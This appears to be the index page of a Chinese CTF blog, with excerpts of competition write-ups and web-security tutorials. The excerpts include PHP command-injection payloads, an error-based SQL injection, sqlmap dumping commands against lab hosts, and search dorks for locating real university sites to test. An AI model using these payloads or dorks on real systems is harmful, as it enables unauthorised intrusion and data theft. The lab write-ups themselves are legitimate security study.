梦~醒🥝

ctfshow单身杯2024wp

发表于 2024-11-15 | 更新于 2024-12-02 | CTF | 比赛wp

[TOC] ctfshow单身杯2024wp 签到·好玩的PHP 考点：序列化反序列化 123456789101112131415161718192021222324252627282930<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { private $d = ''; private $s = ''; private $b = ''; private $ctf = ''; public function __destruct() { $this->d = (string)$this->d; $this->s = (string)$this->s; $this->b = (string)$this->b; if ...

ctfshow西瓜杯wp

发表于 2024-11-15 | 更新于 2024-12-02 | CTF | 比赛wp

[TOC] ctfshow西瓜杯wp web CodeInject 考点：命令执行 12345678<?php#Author: h1xaerror_reporting(0);show_source(__FILE__);eval("var_dump((Object)$_POST[1]);"); 直接构造联合执行。 payload: 11=1);system('ls /'); # 11=1);system('cat /000f1ag.txt'); # ctfshow{729e8c3e-142b-447a-8186-86cdac43b7a1} tpdoor 考点：thinkphp漏洞打开网址发现，就一句话，什么都没有先下载源码 1234567891011121314151617181920212223242526272829<?phpnamespace app\controller;use app\BaseController;use think\facade\Db;class Index ex ...

Windows 子系统 WSL使用系统代理

发表于 2024-11-15 | 更新于 2024-12-02 | CTF | 其他姿势

[TOC] [WSL] Windows 子系统 WSL使用系统代理以Ubuntu + Clash为例由Jeza Chen 发表于 June 3, 2020 最近使用WSL发现无法访问github相关的网站，基本都是Connection Refused，即便Windows系统使用了Clash也不能访问，按照网上一些教程，需要在WSL上进行一些配置才能用到系统的代理。下面的操作基于WSL下的Ubuntu 20.04 LTS，主机代理软件为Clash。在Clash软件找到HTTP代理端口(即软件里面的Port)，如下图的7890。在c盘的用户文件中创建.wslconfig文件，复制以下代码 123456 [experimental] autoMemoryReclaim=gradualnetworkingMode=mirrored dnsTunneling=true firewall=true autoProxy=true 在WSL的终端上输入 1vim ~/.bashrc 1234，在末行写入export http_proxy=127.0.0.1: ...

虚拟机各种网络模式的区别

发表于 2024-11-14 | 更新于 2024-12-02 | CTF | 其他姿势

虚拟机各种网络模式的区别 NAT | NAT网络 | 桥接Bridged | 内部网络Internal | 仅主机(Host-Only) 模式一 NAT-网络地址转换：通过路由器的NAT功能给上网设备分配不同的私有地址，常见于大部分家庭网络，为VirtualBox的默认网络模式 NAT工作流程：发送数据时NAT把私有地址转换为公有地址并可用端口进行标识，接收数据时NAT把公有地址转换为私有地址（私有地址有特定范围且不能被公有地址直接访问）应用机制：VirtualBox虚拟出一台DHCP服务器并为虚拟机分配私有地址，虚拟机发出的数据在经过网关时通过里NAT改写数据包再通过宿主NAT转换发送到互联网，每个虚拟机都有同样的私有地址且虚拟机之间不可互通，虚拟机可访问宿主机但宿主机不可访问虚拟机（默认DHCP服务器和网关为10.0.2.2，私有地址为10.0.2.15）模式二 NAT网络：与NAT的区别是通过在虚拟机上附加一台虚拟交换机实现虚拟机在NAT模式下互通应用机制：VirtualBox虚拟出一台交换机附加在虚拟机上，虚拟机之间可互通，虚拟机可访问宿主机但宿主机不可访问虚拟 ...

wsl配置ubuntu22.04，并配置docker

发表于 2024-11-14 | 更新于 2024-12-02 | CTF | 其他姿势

wsl配置ubuntu22.04，并配置docker [TOC] 一、在Windows上安装Linux子系统前提条件 windows机器需要支持虚拟化，并且需要在BIOS中开启虚拟化技术，因为WSL2基于hyper-V。查看是否开启虚拟化按住Windows+R输入cmd打开命令行，输入 1systeminfo 可以看到如下字样，代表电脑已经支持虚拟化，可继续安装 1234Hyper-V 要求: 虚拟机监视器模式扩展: 是固件中已启用虚拟化: 是二级地址转换: 是数据执行保护可用: 是无论是Windows10还是Windows11，所使用的Windows是最新版的，如果不是最新版，请在设置-Windows更新中将系统更新到最新版本安装步骤开启开发者模式开启“适用于Linux的Windows子系统”：找到控制面板-程序和功能-启用或关闭Windows功能，选中“适用于Linux的Windows子系统”和“虚拟机平台”，然后点击确定。需要重 ...

整数溢出

发表于 2024-11-09 | 更新于 2024-12-02 | CTF | web姿势

整数溢出的原理： 1.整数类型限制：在计算机中，整数类型（如 int, short, long 等）都有固定的位宽（如 8 位、16 位、32 位、64 位等），这些位宽决定了整数能表示的最大值和最小值。例如，对于一个 32 位有符号整数，其取值范围是 -2,147,483,648 到 2,147,483,647。溢出情况： 1.正溢出：当结果值超过最大正整数时，会发生正溢出。例如，在 32 位有符号整数中，2,147,483,647 + 1 会导致结果变为 -2,147,483,648（环绕回最小负数）。 2.负溢出：当结果值低于最小负整数时，会发生负溢出。例如，在 32 位有符号整数中，-2,147,483,648 - 1 会导致结果变为 2,147,483,647（环绕回最大正数）。操作示例：假设我们有一个 8 位有符号整数，范围是 -128 到 127。如果我们执行 127 + 1，结果应该是 128，但超出了 8 位整数的范围，因此实际结果会变为 -128（即发生正溢出）。类似地，如果执行 -128 - 1，结果应该是 -129，但同样超出了 ...

hubuctf-2024校赛-复现wp

发表于 2024-11-04 | 更新于 2024-12-02 | CTF | 比赛wp

web easyweb1 123456789101112131415 <?phperror_reporting(0);highlight_file(__FILE__);$flag = getenv("GZCTF_FLAG");if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("You are failed."); } if(intval($num)){ echo $flag; }} 利用intval()的性质,用数组绕过。构造payload 1?num[]=0 hubuctf{80446bef-905a-4f87-94b8-c01e573ab311} easyweb2 1234567891011121314<?phperror_reportin ...

xss漏洞

发表于 2024-10-29 | 更新于 2024-12-02 | CTF | web姿势

刷题2024.10.28

发表于 2024-10-28 | 更新于 2024-12-02 | CTF | web-wp

[TOC] 整数型注入看到源码了，直接sql一套秒了字符型注入 SQL 报错注入构造payload 1 and (select extractvalue(1,concat(‘~’,(select database())))) 后续步骤跟sql基本步骤一样 SQL 布尔注入人工测试太麻烦，这里直接使用sqlmap,知道这有sql注入漏洞，就省去扫描步骤了。先查看当前数据库 --sqli 1sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch --current-db 再查看表 1sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' --tables 查看flag表中的字段 1sqlmap -u 'http://challe ...

sqlmap使用方法

发表于 2024-10-28 | 更新于 2024-12-02 | CTF | web姿势

SQLmap 一、目标 1、指定url 2、指定文件（批量检测） 3、指定数据库/表/字段 4、post请求 5、cookie注入二、脱库 1、获取数据库 2、获取表 3、获取字段 4、获取字段类型 5、获取值（数据） 6、获取用户 7、获取主机名 8、搜索库、表、字段。 9、正在执行的SQL语句三、WAF绕过三、其他 SQLmap是一款「自动化」SQL注入工具，kali自带。路径 /usr/share/sqlmap 打开终端，输入sqlmap，出现以下界面，就说明SQLmap「可用」。本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标，其他目标可使用必应搜索以下类型的网站： inurl:news.asp?id=site:edu.cn inurl:news.php?id= site:edu.cn inurl:news.aspx?id=site:edu.cn 快速入门；SQLmap（常规）使用步骤 1、检测「注入点」 sqlmap -u ‘http://xx/?id=1’ 2、查看所有「数据库」 sqlmap -u ‘http://xx/?id=1’ --dbs 3 ...

刷题2024.10.26

发表于 2024-10-26 | 更新于 2024-12-02 | CTF | web-wp

[TOC] 来源：CTFHUB SVN泄露扫描一下目录，发现有/svn，所以是svn泄露使用工具dvcs-ripper将泄露的文件下载到本地目录中先用 ls -al 查看，再转到.svn文件夹中查看下载的文件。根据题目可知，在旧版服务器，所以访问pristime文件夹，在其中找到了flag ctfhub{4e0bf99268e971a228b50696} HG泄露先扫描目录，发现.hg文件，所以是hg文件泄露将文件下载到本地查看内容打开看到的.txt文件，发现添加了flag 使用正则表达式匹配flag grep -a -r flag 发现一个.txt文件名路径，打开发现flag http://challenge-f5d5a98ec092b9ff.sandbox.ctfhub.com:10800/flag_2461926440.txt ctfhub{28354671de5448e69f93511c} 弱口令进行爆破，选择集束炸弹 ctfhub{922a54553d59ecd228002 ...

php伪协议

发表于 2024-10-22 | 更新于 2024-12-02 | CTF | web姿势

[TOC] php伪协议 php://伪协议是php提供的一些输入输出流访问功能，允许访问php的输入输出流，标准输入输出和错误描述符，内存中，磁盘备份的临时文件流，以及可以操作其他读取和写入文件的过滤器。首先看到题目提示传个file，遂/?file=…一个随意参数，而后得到源代码 123456789101112131415161718<?phpini_set("allow_url_include","on");header("Content-type: text/html; charset=utf-8");error_reporting(0);$file=$_GET['file'];if(isset($file)){ show_source(__FILE__); echo 'flag 在flag.php中';}else{ echo "传入一个file试试";}echo "</br> ...